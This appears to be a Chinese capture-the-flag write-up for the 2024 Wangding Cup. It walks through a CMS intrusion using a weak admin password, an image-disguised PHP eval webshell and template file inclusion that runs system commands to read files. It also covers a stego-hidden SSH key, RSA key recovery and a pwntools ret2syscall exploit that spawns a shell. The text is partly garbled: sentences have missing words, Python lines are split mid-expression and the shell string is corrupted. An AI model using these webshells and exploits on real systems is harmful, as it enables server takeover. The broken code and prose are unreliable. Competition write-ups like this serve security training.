刚结束了2024年网鼎杯白虎组,让我们一起回顾一下那些引人入胜的题目以及巧妙的解题思路吧!在今天的分享中,我们将深入探讨部分misc题目及其解答方法,希望能够为大家提供一些启发和帮助。
查看cms的nday
发现了一个反序列化漏洞,但尝试后无果 而且版本不对
但在这个poc里发现了login.php
我们看源码 发现存在login.php
我们尝试登录
发现为弱口令admin/admin
我们看一遍后台的功能点,寻找利用点
我们找到了文件上传的点
后台我们在基本信息的接口api的微信公众号发现可以上传图片 其他的绕过我们也试了 但后缀改不了 只能上传图片
我们上传图片马
上传路径在上传完成后给出 重命名后保存在/uploads内的日期文件夹中
接下来我们需要找一个文件包含的点来包含我们的图片马 来getshell
我们继续寻找功能点
然后我们在模板发现可以更改模板的源码
我们改pc的index.htm的源码 下面加一个包含
包含我们写的图片马
但我发现不知道为啥马子我连不上 无法解析,但phpinfo()可以解析
GIF89a
<?php @eval($_POST['hack']);phpinfo();?>
既然马子连不上 那我就尝试在马子里一句话一句话执行
GIF89a
<?php @eval($_POST['hack']);phpinfo();system('ls /')?>
我们看到了根目录下的文件
读取flag.txt
GIF89a
<?php @eval($_POST['hack']);phpinfo();system('cat /flag.txt')?>
wdflag{fmzys9hqdn6zg1psq2e8675dbzy8twvb}
发现robots有个wbStego4.bmp文件
下载下来根据提示wbStego4
用wbStego4解密
拿到密钥
再修改一下格式
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAHqSISYfkwuFeX20KTtyDhpG/nmyMK5MrmjKILUbLxpEtgw+4i0sIR4sWtNpGSVAMLZ4YO8EY6p7FBw0z4u0ALo2qC8I763lfKlNXH1WHWexRHd72MEpxpOzt79ukabEr7OWpRdDEISj3MyEalVNYGTKMt/TQWR/dnFd+TsDB2aRDBQQq9VfQhZ9Z864huQ4Du8PKg42plzfRPJsEhe4JpE0GW5QRap9ZNHM/4fSSHJlwqbBqGdeIjw+U7zY/RokxK979+f7SN6qMc9FzAUTnbwFGLpZe4ohz4pPJNrmRKfERTSKDoXw1krdDZuEZzCgiprpR8WqLvGoDXhYstcrgWU=
your_email@example.com
导入西二风的脚本一把梭哈,n分解用yafu
然后导出私钥
连接ssh
jadx打开
AEX+BASE64
KEY=Y4SuperSecretKey
拿到大厨,抄一下
拿到附件发现是静态编译且没有符号表,自己 一下,结合汇编摸清楚程序逻辑, patch 程序会先从 401931 一半的地方跳转到 4019E9 ,可以泄露出 canary
紧接着的 设置 read rbp-0x28 处的值,使其跳转到 0x4019d2
最后进入 backdoor
backdoor cpy 里有 ,能够造成溢出,而且是静态编译,收集信息构造 ret2syscall
EXP如下:
from pwn import *
# r = process('./pwn')
r = remote('',)
context.log_level = 'debug'
r.recvuntil(b": ") # 确保接收的内容是字节
canary = int(r.recvline(), 16)
r.recvline()
# 修改这行,确保发送的是 bytes
r.send(b"a" * 0x28 + p32(1) + b"a" * 0x10)
r.recvline()
r.send(b"0") # 发送的内容是字节
r.recvline()
r.send(b"b" * 0x70) # 发送的内容是字节
r.recvline()
#gdb.attach(r,"b *0x40213f")
# ROP gadgets 地址
pop_rdi = 0x40213f
pop_rsi = 0x40a1ae
pop_rdx_rbx = 0x485feb
pop_rax = 0x450277
syscall = 0x41AC26
# 构建 payload,确保所有字符串都是 bytes
payload = b"" # 创建一个字节串
payload += b"a" * 0x64 + p32(0x11111111) + b"a" * 0x90 + p64(canary) +
b"a" * 0x8 + p64(canary) + b"a" * 0x8
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4c5000) +
p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + p64(0x4c5000) + p64(pop_rsi) + p64(0) +
p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) +
p64(syscall)
# 发送 payload
r.send(payload)
sleep(0.5)
# 发送命令以获得 shell
r.send(b"/bin/shx00") # 确保发送的内容是字节
r.interactive()
欢迎师傅们加入我们:
ZeroPointZero安全团队纳新群1:553624735
有兴趣的师傅欢迎一起来讨论!团队纳新简历投递邮箱:[email protected]
原文始发于微信公众号(ZeroPointZero安全团队):网鼎杯-玄武组
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论